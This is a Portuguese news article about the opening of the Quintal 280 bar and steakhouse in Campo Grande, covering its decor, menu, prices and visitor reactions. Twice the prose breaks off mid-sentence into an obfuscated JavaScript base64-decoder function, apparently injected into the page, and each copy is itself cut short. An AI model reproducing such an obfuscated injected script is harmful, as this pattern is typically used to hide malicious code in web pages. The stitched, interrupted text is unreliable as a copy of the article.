[Via Campo Grande News]
Com a pegada mais descolada e grafites dando vida ao chão e nas paredes, Quintal 280 inaugura hoje (1º). O local que fica no bairro Jardim dos Estados abre as portas a partir das 17h, com apresentação de Chicão Castro. O espaço é despojado e une arte, churrasco com cortes especiais e bar com dez drinks autorais. “Peguei os conceitos e misturei”, diz Leandro Mastrângelo.
Ele e a namorada, Bruna Gonçalves, decidiram fazer uma parceria e uniram os gostos para criar um ambiente mais descontraído. A ideia surgiu quando o empresário que também é dono de um restaurante, quis fazer do local uma garagem para os clientes. No entanto, mudou de ideia. “Nunca tive problemas com estacionamento e comecei a pensar e algo”, conta ele. A missão de montar um espaço diferente foi dividida, ela com arquitetura e ele com o menu.
Bruna viajou para buscar inspiração para a decoração do espaço. “Fui para Curitiba e vi algumas paredes grafitadas e pensei em implementar no projeto. É um local clássico e descolado ao mesmo function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
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Logo na entrada, as lâmpadas iluminam o caminho dos convidados que já entram se sentindo em casa. O chão todo colorido e na parede direita alguns grafites com desenhos aleatórios chamam atenção pelo trabalho artístico. As plantas complementam a decoração no lado esquerdo.
Os convidados passam pelo corredor descendo a “rampa das cores” para chegar ao quintal que tem 500 m². Por alí, escolhem se querem ficar nos bistrôs feitos de tambores ao ar livre ou nas mesas que ficam na parte coberta. No espaço, mais grafites para descontrair o ambiente e os clientes podem aproveitar para fazer fotos no paredão enquanto aguardam pelo pedido. A área atende 120 pessoas sentadas e até 180 convidados em pé.
Leandro também não perdeu function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
A missão foi cumprida e quando retornou para a Capital, o empresário decidiu ocupar uma parte do quintal para fazer um “steakhouse”, com cortes especiais. No cardápio foi inserido do “T-Bone”, que divide uma parte de contrafilé e outra parte filé mignon; “Tomahawk” que é a parte dianteira do lombo do boi; maminha, picanha, etc. Os valores variam de R$ 45,00 a R$ 70,00.
“As carnes são cortadas e servidas em uma tábua, para a pessoa ficar beliscando e o cliente escolhe um acompanhamento, como a porção de mandioca por R$ 8,00. Os talheres ficarão em uma lata de alumínio”, explica Leandro.
No menu ainda tem “Tábua de Legumes”, com legumes grelhados; “Arroz Biro Biro” com bacon, ovos e crispy de batata doce; Vinagrete e também a “Batata rústica” de batata doce com creme de hortelã. Os acompanhamentos variam de R$ 7,00 a R$ 25,00. Tem ainda o burguers do quintal com pão, carne e queijo.
Para quem gosta de bebidas, o quintal conta com dez gins autorais. Tem o “Pink Gin” a base de Beefeater Pink, água tônica e um xarope de especiaria. A guarnição básica é com laranja e duas folhas de hortelã; Tem o “Drink com Nordes” feito com gin norueguês, água tônica, limão e xarope da casa; o “Oceano do Quintal” que leva vodka, lactose, abacaxi, limão, xarope, framboesa e canela é outra opção.
Os convidados contam também com os drinks clássicos como caipirinha, tem whisky, cervejas, vinho. As bebidas variam de R$ 7,00 a R$ 49,00.
Inicialmente, o quintal vai funcionar de quinta a domingo, das 17h às 23h30. “Nossa grelha apaga às 23h. Vamos abrir a casa para os artistas locais e quando tiver apresentação será cobrado o cover”.
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O agropecuarista, Heitor Lima Dutra, também foi conferir o espaço. Entrou e sentou numa cadeira com o bistrô, aproveitou para sentir o clima mais ameno da noite. “Ficou bacana o grafitado, é uma mistura do moderno com o restaurante clássico”.
A musicista, Bruna Brunetto está de passagem em Campo Grande. Ela tem 21 anos, mora no Rio de Janeiro e aproveitou para visitar a família na Capital. Soube do projeto e quis conferir de perto a proposta. “É inovadora e vai ser sucesso porque falta isso aqui. Vemos a cidade crescendo e tendo opções para todos os gostos e idades”, finaliza.
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